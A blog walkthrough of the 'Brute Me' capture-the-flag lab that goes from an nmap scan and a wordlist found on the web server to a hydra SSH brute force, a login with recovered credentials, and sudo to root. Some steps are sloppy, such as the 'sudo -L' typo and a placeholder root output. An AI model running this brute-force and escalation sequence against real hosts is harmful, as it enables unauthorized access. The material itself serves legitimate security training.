

CTF Walkthroughs

Brute Me — A Walkthrough of the Bruteforce Lab by NixSecura

on September 14, 2025



Brute Me Lab Walkthrough

This is a detailed walkthrough of the **Brute Me** lab from Imran at NixSecura. I'll show how I moved from initial scanning to full root access, including enumeration, brute forcing, and privilege escalation.

Step 1: Reconnaissance with Nmap

First thing I did was run a full scan to see what services are up:

Nmap Output

```
└$ cat nmap_scan
# Nmap 7.95 scan initiated Sat Sep 13 18:16:57 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p- -oN nmap_scan 192.168.1.22
Nmap scan report for 192.168.1.22
Host is up (0.0046s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
20/tcp    closed  ftp-data
21/tcp    open   vsftpd  2.0.8 or later
22/tcp    open   ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   1024 2e:11:1c:8d:0e:6c:48:8e:57:0f:96:b5:35:ee:f2:a5 (DSA)
|   2048 9b:dc:ef:25:dc:63:d4:0e:f5:4f:d3:d2:a0:16:b5:56 (RSA)
|   256 4a:28:13:00:7a:94:a6:4e:c3:3e:6b:81:25:ac:e5:9e (ECDSA)
|_  256 44:46:e9:fd:b8:74:23:8d:a9:24:27:34:2d:36:62:f3 (ED25519)
80/tcp    open   http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: e1Prof3ssor's l3g4cy
MAC Address: 24:B2:B9:47:0E:F5 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 13 18:21:25 2025 -- 1 IP address (1 host up) scanned in 267.98 seconds
```

nmap -sV -A 192.168.1.22

Host is up (0.0046s latency).

Not shown: 65531 filtered tcp ports (no-response)

PORT	STATE	SERVICE	VERSION
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20/tcp closed ftp-data

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```
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: e1Pr0f3ss0r's l3g4cy
MAC Address: 24:B2:B9:47:0E:F5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

We can see:

- FTP running on port 21
- SSH on port 22
- HTTP on port 80

Step 2: Web Enumeration

Visiting <http://192.168.1.22> gave me a page titled “e1Pr0f3ss0r's l3g4cy”. Using directory brute forcing (with tools like gobuster), I discovered a file called **/creds.disc**.

creds.disc contents

```
tokyo
berlin
nairobi
rockyou
papel
la-casa
money-heist
nobita
ninja7
ikn0wy0u
don'tbruteme
legacy
crackit
badboy123
```

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```
user123
mr.r0b0t
darlen
travel3r
academy.icorx
b31l@c1a0
caroline
g01df1$h
purple
b3stfr1ends
h3l10fr113nd
D3nv3r
proxy99
```

This list of credentials looked promising for brute-forcing FTP/SSH.

Step 3: Brute Forcing SSH & FTP with Hydra

I used hydra to try all combinations. The command was something like:

```
hydra -L users.txt -P passwords.txt ssh://192.168.1.22
```

After some attempts, I found valid login:

```
login: ninja7
password: caroline
```

The same credentials also worked for FTP.

Step 4: Logging in via SSH

Using:

```
ssh ninja7@192.168.1.22
```

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Step 5: Privilege Escalation to Root

Next I checked sudo permissions:

sudo -L

Turns out `ninja7` had privilege to run `sudo su`. Then I used the same password (`caroline`) to escalate:

sudo su

Then I confirmed root:

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```
#> output tool
```

Final Thoughts

This lab reinforced some essential lessons:

- Weak or bruteforceable credentials can lead to full compromise.
- Enumerate web-facing services for hidden files or directories.
- Privilege escalation often hides in sudo permissions.

Huge thanks to **Imran** and **NixSecura Services** for creating a lab that's beginner friendly yet educational.

Thank You (:



CTF Walkthroughs



Metasploitable-2 Walkthrough

Metasploitable-2 Walkthrough CTF Writeup: Metasploitable-2 – Full

Walkthrough 1. Introduction: Metasploitable 2 is an intentionally vulnerable Linux virtual machine developed by Rapid7. This walkthrough is crafted to build a deeper pentesting mindset by explaining the enumera

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